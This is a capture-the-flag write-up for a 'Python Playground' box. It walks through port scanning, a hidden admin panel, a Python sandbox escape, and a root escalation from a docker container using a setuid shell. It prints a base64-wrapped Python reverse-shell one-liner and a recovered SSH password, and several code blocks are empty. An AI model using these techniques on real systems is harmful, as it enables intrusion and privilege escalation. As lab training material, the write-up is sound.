Flag 1
Started by scanning the ip with nmap to see what ports has open:
root@docker-desktop:~# ports=$(nmap -p- --min-rate=1000 -T5 10.10.117.170 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
root@docker-desktop:~# nmap -sC -sV -p$ports 10.10.117.170
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 08:56 UTC
Nmap scan report for 10.10.117.170
Host is up (0.072s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
| 256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_ 256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open http Node.js Express framework
|_http-title: Python Playground!
17414/tcp closed unknown
51517/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
As it has port 80 open, started by analyzing the web, in which there are 2 available routes, /login.html and /signup.html. However both requests responds with:
|
|
Keeping that in mind tried for common directories manually with html extension and got /admin.html.
It has a login page the admin login page, with the following script in the source code:
|
|
If we take a look at the login function, once we login we get redirected to /super-secret-admin-testing-panel.html.
In that directory we can execute python code. The goal here is to get RCE from that.
However there are some keywords blacklisted (import,so,…).
After trying different ways of importing or executing code I found this one:
|
|
Then, to get a reverse shell all i had to is encode the payload (with base64 for instance) and make it to decode it before executing it.
base64 -w0 <<'EOF'
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("<ip>",<port>)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
EOF
Use the following payload:
echo "<Base64 encoded reverse shell>" | base64 -d | bash -s
Flag 2
For this flag I reversed the hash from the admin panel using a small javascript function:
|
|
Then connected with connor:spaghetti1245 using ssh.
Flag 3
At this stage we have a root user inside a docker container and a regular user connected to the actual host through ssh.
Used linpeas to enumerate the system within the container, it pointed out that there was mounted a directory called /mnt/log
.
Then copied bash from the docker to the shared folder and gave it suid permissions:
root@playgroundweb:~# cp /bin/sh /mnt/log
root@playgroundweb:~# chmod 777 /mnt/log/sh
root@playgroundweb:~# chmod +s /mnt/log/sh
Checked where it is pointing to in the host machine:
connor@pythonplayground:/$ find / -name sh 2>/dev/null | grep -v usr | grep -v snap
/var/log/sh
/bin/sh
Finally used that bash file as connor using ssh:
connor@pythonplayground:/var/log$ /var/log/sh -p
# id
uid=1000(connor) gid=1000(connor) euid=0(root) egid=0(root) groups=0(root),1000(connor)
Resources
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
https://anee.me/escaping-python-jails-849c65cf306e
https://unix.stackexchange.com/questions/74527/setuid-bit-seems-to-have-no-effect-on-bash